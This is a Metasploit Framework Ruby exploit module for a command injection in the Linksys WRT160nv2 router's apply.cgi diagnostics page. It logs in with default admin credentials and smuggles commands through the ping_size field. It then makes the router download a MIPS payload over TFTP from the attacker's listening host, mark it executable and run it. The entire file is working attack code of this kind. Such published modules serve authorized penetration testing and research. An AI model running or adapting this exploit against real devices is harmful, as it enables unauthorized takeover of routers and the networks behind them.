metasploit-framework/modules/exploits/linux/http/linksys_wrt160nv2_apply_exec.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex/proto/tftp'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'Linksys WRT160nv2 apply.cgi Remote Command Injection',
			'Description' => %q{
					Some Linksys Routers are vulnerable to an authenticated OS command injection on
				their web interface where default credentials are admin/admin or admin/password.
				Since it is a blind OS command injection vulnerability, there is no output for the
				executed command when using the cmd generic payload. This module has been tested on
				a  Linksys WRT160n version 2 - firmware version v2.0.03. A ping command against a
				controlled system could be used for testing purposes. The exploit uses the tftp
				client from the device to stage to native payloads from the command injection.
			},
			'Author'      =>
				[
					'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
					'juan vazquez' # minor help with msf module
				],
			'License'     => MSF_LICENSE,
			'References'  =>
				[
					[ 'BID', '57887' ],
					[ 'EDB', '24478' ],
					[ 'OSVDB', '90093' ],
					[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-012' ]
				],
			'DisclosureDate' => 'Feb 11 2013',
			'Privileged'     => true,
			'Platform'       => ['linux','unix'],
			'Payload'        =>
				{
					'DisableNops' => true
				},
			'Targets'        =>
				[
					[ 'CMD',
						{
						'Arch' => ARCH_CMD,
						'Platform' => 'unix'
						}
					],
					[ 'Linux mipsel Payload',
						{
						'Arch' => ARCH_MIPSLE,
						'Platform' => 'linux'
						}
					],
				],
			'DefaultTarget'  => 1
			))

		register_options(
			[
				OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
				OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
				OptAddress.new('LHOST', [ true, 'The listen IP address from where the victim downloads the MIPS payload' ]),
				OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
				OptInt.new('DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
			], self.class)
	end


	def request(cmd,user,pass,uri)
		begin
			res = send_request_cgi({
				'uri'    => uri,
				'method' => 'POST',
				'authorization' => basic_auth(user,pass),
				'vars_post' => {
					"submit_button" => "Diagnostics",
					"change_action" => "gozila_cgi",
					"submit_type" => "start_ping",
					"action" => "",
					"commit" => "0",
					"ping_ip" => "1.1.1.1",
					"ping_size" => "&#{cmd}&",
					"ping_times" => "5",
					"traceroute_ip" => ""
				}
			})
			return res
		rescue ::Rex::ConnectionError
			vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
			return nil
		end
	end

	def exploit
		downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(4))
		uri = '/apply.cgi'
		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		lhost = datastore['LHOST']

		#
		# testing Login
		#
		print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
		begin
			res = send_request_cgi({
				'uri'     => uri,
				'method'  => 'GET',
				'authorization' => basic_auth(user,pass)
			})
			if res.nil? or res.code == 404
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
			if [200, 301, 302].include?(res.code)
				print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
			else
				fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
			end
		rescue ::Rex::ConnectionError
			fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
		end

		if target.name =~ /CMD/
			if not (datastore['CMD'])
				fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
			end
			cmd = payload.encoded
			res = request(cmd,user,pass,uri)
			if (!res)
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
			else
				print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
			end
			return
		end

		#thx to Juan for his awesome work on the mipsel elf support
		@pl = generate_payload_exe

		#
		# start our server
		#
		print_status("#{rhost}:#{rport} - Starting up our TFTP service")
		@tftp = Rex::Proto::TFTP::Server.new
		@tftp.register_file(downfile,@pl,true)
		@tftp.start

		#
		# download payload
		#
		print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{downfile}")
		#this filename is used to store the payload on the device -> we have limited space for the filename!
		filename = rand_text_alpha_lower(4)

		#not working if we send all command together -> lets take three requests
		cmd = "tftp -l /tmp/#{filename} -r #{downfile} -g #{lhost}"
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		# wait for payload download
		if (datastore['DOWNHOST'])
			print_status("#{rhost}:#{rport} - Giving #{datastore['DELAY']} seconds to the Linksys device to download the payload")
			select(nil, nil, nil, datastore['DELAY'])
		else
			wait_linux_payload
		end
		@tftp.stop
		register_file_for_cleanup("/tmp/#{filename}")

		#
		# chmod
		#
		cmd = "chmod 777 /tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

		#
		# execute
		#
		cmd = "/tmp/#{filename}"
		print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
		res = request(cmd,user,pass,uri)
		if (!res)
			fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
		end

	end

	# wait for the data to be sent
	def wait_linux_payload
		print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")

		waited = 0
		while (not @tftp.files.length == 0)
			select(nil, nil, nil, 1)
			waited += 1
			if (waited > datastore['DELAY'])
				@tftp.stop
				fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
			end
		end
	end
end